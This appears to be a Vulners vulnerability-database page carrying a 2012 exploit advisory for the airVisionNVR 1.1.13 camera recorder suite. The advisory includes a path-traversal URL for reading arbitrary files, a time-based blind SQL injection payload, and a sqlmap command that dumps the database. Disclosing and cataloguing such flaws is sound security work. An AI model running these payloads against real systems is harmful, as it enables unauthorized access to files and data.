Vulners
Lucene search
airVisionNVR 1.1.13 readfile() Disclosure and SQL Injection
| Reporter | Title | Published | Views | Family All 34 |
|---|---|---|---|---|
 | airVisionNVR 1.1.13 readfile() Disclosure and SQL Injection Vulnerability | 15 Oct 201200:00 | – | zdt |
 | CVE-2008-1381 | 1 May 200818:00 | – | cve |
| CVE-2008-3880 | 2 Sep 200815:00 | – | cve |
 | CVE-2008-1381 | 1 May 200818:00 | – | cvelist |
| CVE-2008-3880 | 2 Sep 200815:00 | – | cvelist |
 | CVE-2008-1381 | 1 May 200818:00 | – | debiancve |
| CVE-2008-3880 | 2 Sep 200815:00 | – | debiancve |
 | EUVD-2008-1388 | 7 Oct 202500:30 | – | euvd |
| EUVD-2008-3866 | 7 Oct 202500:30 | – | euvd |
 | airVisionNVR 1.1.13 - readfile() Disclosure SQL Injection | 15 Oct 201200:00 | – | exploitpack |
10
Exploit Title: airVisionNVR readfile() disclosure and sql injection
Google Dork:
Date: Oct 13, 2012
Exploit Author: pennyGrit
Vendor Homepage: http://www.ubnt.com/
Software Link: http://www.ubnt.com/downloads/airvision/airVision-v1.1.3-installer.exe
Version: 1.1.13
Tested on: WinXP SP3
CVE: Possibly related to CVE-2008-1381 and/or CVE-2008-3880
Overview: The airvision NVR program is an xampp-like suite that allows a regular PC to be used as a security NVR for the Ubiquity line of IP cameras. Several programs are installed including apache, PHP, mysql and a modified version of zoneminder. Ubiquity publishes install packages for both Windows and Ubuntu however only the Windows version was tested below.
* php readfile() local file discolsure: Unauthenticated users can review the contents of anyfile on the host machine using a browser:
http://192.168.56.101:7079/index.php?view=file&path=../../../../../../boot.ini
* sql AND/OR time-based blind injection: The 'id' parameter in ajax/event.php is vulnerable to a time based sql injection. Complete enumeration of the mysql 'nvr' database is possible.
Payload: request=event&action=video&eids=1&videoFormat=1&rate=1&scale=1&id=1 AND 3044=BENCHMARK(5000000,MD5(0x67714e77))
using sqlmap: python sqlmap.py --dbms=mysql -u "http://192.168.56.101:7079/index.php?request=event&action=video&eids=1&videoFormat=1&rate=1&scale=1&id=1" -p id --level 3 --risk 3 --technique T --dump
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jul 2014 00:00Current
EPSS0.01505